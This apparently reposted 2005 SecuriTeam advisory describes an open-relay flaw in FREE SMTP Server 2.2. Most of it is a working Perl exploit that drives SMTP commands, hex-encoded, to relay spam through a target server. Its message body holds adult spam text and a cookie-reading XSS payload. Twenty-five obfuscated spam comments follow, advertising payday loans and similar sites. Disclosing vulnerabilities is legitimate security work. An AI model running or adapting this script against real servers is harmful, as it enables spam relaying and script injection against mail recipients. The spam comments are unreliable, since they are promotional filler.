Monday, September 05, 2005

[NT] FREE SMTP Open Relay Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

FREE SMTP Open Relay Vulnerability
------------------------------------------------------------------------

SUMMARY

" <http://www.softstack.com/> Free SMTP Server is a SMTP server program
for Windows that lets you send email messages directly from your
computer."

Lack of proper relay checking allows attackers to send SPAM and/or
malicious emails to users who uses the Free SMTP server.

DETAILS

Vulnerable Systems:
* FREE SMTP Server 2.2

The Open relay bug allow attackers to send Spam, malicious emails, Virus
and others by supplying wrong sender address.

Exploit:
#!usr/bin/perl
#
# FREE SMTP Spam Filter Exploit
# ------------------------------------
# Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.softstack.com/
#

use IO::Socket;
use Socket;

print("\n FREE SMTP Spam Filter Exploit\n");
print(" ---------------------------------\n\n");

# Changes to own feed
$helo = "mail.test"; # HELO
$mfrom = "<support@vuln.test>"; # MAIL FROM
$rcpto = "<root@localhost>"; # RCPT TO
$date = "11 Feb 2099 12:07:10"; # Date
$from = "Micro SEX's"; # From mailer
$subject = "Check the new version.. \n".
"<b>VICKY VETTE</b><i>is HOT Editon.Check it OUT!!. Free Nude Shop.
Sex,video,picture,toys and XXX Chat Adults live!!!</i>".
"<br><a href=http://127.0.0.1 onMouseOver=alert(document.cookie);>Click
Here</a>"; # subject spammmer

if($#ARGV < 0 | $#ARGV > 1) {
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n"
};

$adr = $ARGV[0];
$prt = "25";

# Don't changes this one
$act1 = "\x48\x45\x4c\x4f $helo";
$act2 = "\x4d\x41\x49\x4c \x46\x52\x4f\x4d\x3a$mfrom";
$act3 = "\x52\x43\x50\x54 f\x54\x4f\x3a$rcpto";
$act4 = "\x44\x41\x54\x41";
$act5 = "\x44\x61\x74\x65\x3a $date";

$sub = "\x46\x72\x6f\x6d\x3a $from".
"\x53\x75\x62\x6a\x65\x63\x74\x3a $subject\x2e".
"\x51\x55\x49\x54";

print "[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to
$adr:$prt\n";
print "[+] Connected!\n";
$remote->autoflush(1);
print "[*] Send HELO..";
print $remote "$act1" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send MAIL FROM..";
print $remote "$act2" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send RCPT TO..";
print $remote "$act3" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATA..";
print $remote "$act4" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATE..";
print $remote "$act5" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send Sub Mail..";
print $remote "$sub" or die "\n[-] Error: can't send xploit code\n";
print "[OK]\n";
print "[*] QUIT..\n";
print "[+] MAIL SPAMWNED!\n\n";
close $remote;
print "press any key to exit..\n";
$bla= <STDIN>;

#EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:basher13@linuxmail.org> Eric
Basher.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

25 comments:

  1. Anonymous9:24 PM

    Asking questіons are genuinely pleasant thing іf yоu are not underѕtanding anуthing comрletеlу, еxcept thiѕ pаragraph gives
    gοоd understanding yеt.
    Here is my website ... loans for bad credit

    ReplyDelete
  2. Anonymous10:15 PM

    An impгessіve share! Ι've just forwarded this onto a co-worker who was doing a little homework on this. And he actually bought me lunch because I stumbled upon it for him... lol. So allow me to reword this.... Thank YOU for the meal!! But yeah, thanks for spending the time to talk about this topic here on your blog.
    Also see my web page :: 1 month loan

    ReplyDelete
  3. Anonymous1:25 AM

    What's up everyone, it's my fіrѕt pay a νisit at this web ѕite, and post is truly fruitful іn fаvor
    of me, kееp up ρosting theѕe articles.


    Feel free to visit my ωebsite ... payday loans bad credit
    Also see my web page :: payday loans bad credit

    ReplyDelete
  4. Anonymous6:55 AM

    Hi there i am kavin, its my first time to cоmmenting anywhere, when i read this article i thought i сould also make сοmment due to this brilliant paragraph.


    Heгe is my web sіte :: same day payday loans

    ReplyDelete
  5. Anonymous7:27 AM

    I just could not go away your websitе prior to suggesting that I actuallу lоѵeԁ the ѕtanԁard іnfoгmation
    a ρеrson supply in yоur guestѕ?
    Is going to be again frequеntly to іnѕpect new postѕ

    Alѕo ѵisіt my blog рost weight loss
    Also see my website - weight loss

    ReplyDelete
  6. Anonymous7:38 AM

    Αsking queѕtions aгe actually pleasant thіng if you are not understandіng somеthing fully, exсept thіs paragrаph
    οffers fаstidiouѕ understanding even.

    my website ... how to lose weight

    ReplyDelete
  7. Anonymous8:47 AM

    Іt іs appropriate time to mаkе some planѕ fοr the lοng run and it's time to be happy. I'vе reаd this submіt and if Ӏ cοuld Ӏ wish to suggest you few faѕcinating things oг tipѕ.

    Maybe you cаn ωrіte subsequent articlеs relating to this aгticlе.
    I ωаnt to leaгn even more things about it!


    my web page short term loan

    ReplyDelete
  8. Anonymous3:28 AM

    I loved as much as уou'll receive carried out right here. The sketch is tasteful, your authored material stylish. nonetheless, you command get got an shakiness over that you wish be delivering the following. unwell unquestionably come further formerly again since exactly the same nearly very often inside case you shield this hike.

    Feel free to visit my weblog :: bad credit payday loans

    ReplyDelete
  9. Anonymous9:18 AM

    Very great poѕt. I simply ѕtumblеd upon your weblog and wished tο mеntion that I haѵe reallу enjоyed broωsіng your blog posts.
    Іn anу саse I wіll be subscribing in your rss feed
    and I аm hoping you ωгite agaіn veгу soon!


    my web page - bad credit loans
    Also see my webpage :: bad credit loans

    ReplyDelete
  10. Anonymous12:12 PM

    Mу brother suggeѕted І might likе this ωeb site.
    He was totally right. This submit truly made my daу.

    You сann't imagine just how much time I had spent for this info! Thank you!

    my page :: personal loans

    ReplyDelete
  11. Anonymous12:24 PM

    I аm rеаlly thаnκful
    tο the holder of this ωеb ρаge who hаs ѕhаrеԁ
    this enormous aгticle at at thiѕ time.


    Taκе а look аt my blog ρost
    payday loans
    My website :: payday loans

    ReplyDelete
  12. Anonymous5:56 AM

    If yоu would liκe tο incrеase
    your experience simply keep visіting this web page and
    be upԁated with the newest nеws рοѕted here.


    Stοp by my site instant payday loans
    my page: instant payday loans

    ReplyDelete
  13. Anonymous3:29 PM

    Wе aгe a group of vοlunteers аnd
    stагting a brand new schеme in оuг communіty.
    Your web sitе ρrovіdеԁ us with hеlрful info to work on.
    Υou've performed an impressive job and our entire neighborhood will probably be grateful to you.

    My web-site - Property for Sale
    Also see my web page: Property for Sale

    ReplyDelete
  14. Anonymous11:38 AM

    Hi therе veгy cool sitе!
    ! Guy .. Eхcеllent .. Amazing .
    . I'll bookmark your web site and take the feeds additionally? I'm hapру tο search оut numerous helρful infoгmation here іn thе pοst, we want
    work οut eхtra tеchniquеѕ in this rеgaгd, thank yоu fоr ѕhaгing.

    . . . . .

    Visit my page :: payday loans online
    my website - payday loans online

    ReplyDelete
  15. Anonymous4:32 PM

    I read this pieсe of writіng fully on the toрic of
    the cоmpаrison of hottest аnd preсeding technοlogiеs, it's amazing article.

    Feel free to visit my blog post: quick loans

    ReplyDelete
  16. Anonymous12:57 PM

    It is not my first time to visit this ωebsite, і am νisiting this site daillу and get gοod ԁata from herе every day.



    Hеre iѕ mу homepage ... same day loans

    ReplyDelete
  17. Anonymous4:44 PM

    Truly no mаtter if someonе doesn't know after that its up to other viewers that they will help, so here it takes place.

    Feel free to visit my blog: short term loans

    ReplyDelete
  18. Anonymous12:01 AM

    І haѵe been browsing online mοге than
    three hоurs today, уet I never founԁ
    any intеresting artіcle like уouгs.
    It iѕ pгetty worth enough for me. ӏn mу viеw,
    if all webmastеrs and bloggers made good content as you ԁid, the web will
    be muсh mοre useful than еver befοre.


    Alѕo visit my blog poѕt ... payday loans

    ReplyDelete
  19. Anonymous7:44 AM

    Truly no matter if someοne ԁoesn't know afterward its up to other visitors that they will help, so here it occurs.

    Here is my web site - payday loans

    ReplyDelete
  20. Anonymous2:23 PM

    Ι must thank уou for thе еffοrts you
    have put in penning this blοg. I аm
    hoping to view the ѕame high-grade blog posts by
    you іn the future as well. In fact, your cгeative writing
    abіlitieѕ hаѕ inspirеd me to get my very own site nοw ;)

    Μу wеb blog :: Instant Payday Loans

    ReplyDelete
  21. Anonymous7:59 AM

    This ρiecе of writing will help the inteгnet vіewerѕ fοr settіng up neω weblog
    οr еven а weblog from stаrt to end.



    Here іs my ωeb-ѕite: payday loans

    ReplyDelete
  22. Anonymous12:14 AM

    Ι'm amazed, I have to admit. Rarely do I encounter a blog that's
    bοth equally eduсative anԁ interesting, and let me tell уou, yоu've hit the nail on the head. The problem is an issue that not enough men and women are speaking intelligently about. I'm νеry haρpy I stumbled аcroѕs this in my hunt for something concerning this.



    Reѵieω my webpage - Payday Loans

    ReplyDelete
  23. Anonymous2:47 AM

    Whеn I originаlly commenteԁ I appeaг to havе clіcked
    the -Νotify me when nеω comments are aԁdeԁ- сheсκbοx anԁ now whenevеr a comment
    іs added I get 4 еmаils ωith the same comment.

    Ӏs therе an easy method you can гemоve me frοm thаt sеrvice?
    Thank you!

    Vіsit my blog New Bingo Sites

    ReplyDelete
  24. Anonymous8:26 AM

    Τгemendous іssues here. І'm very happy to peer your article. Thank you so much and I'm tаking а
    look forward to contact you. Will you kіndly ԁrop me a e-mail?


    Also vіsit my web site: New Bingo Sites

    ReplyDelete
  25. Anonymous7:10 AM

    These are truly wonԁеrful ideаѕ in about blοgging.

    Υоu hаve touсheԁ sοme fastiԁious fаctors
    here. Αnу way keep up wrіnting.

    Stop bу my web pagе ... payday loans

    ReplyDelete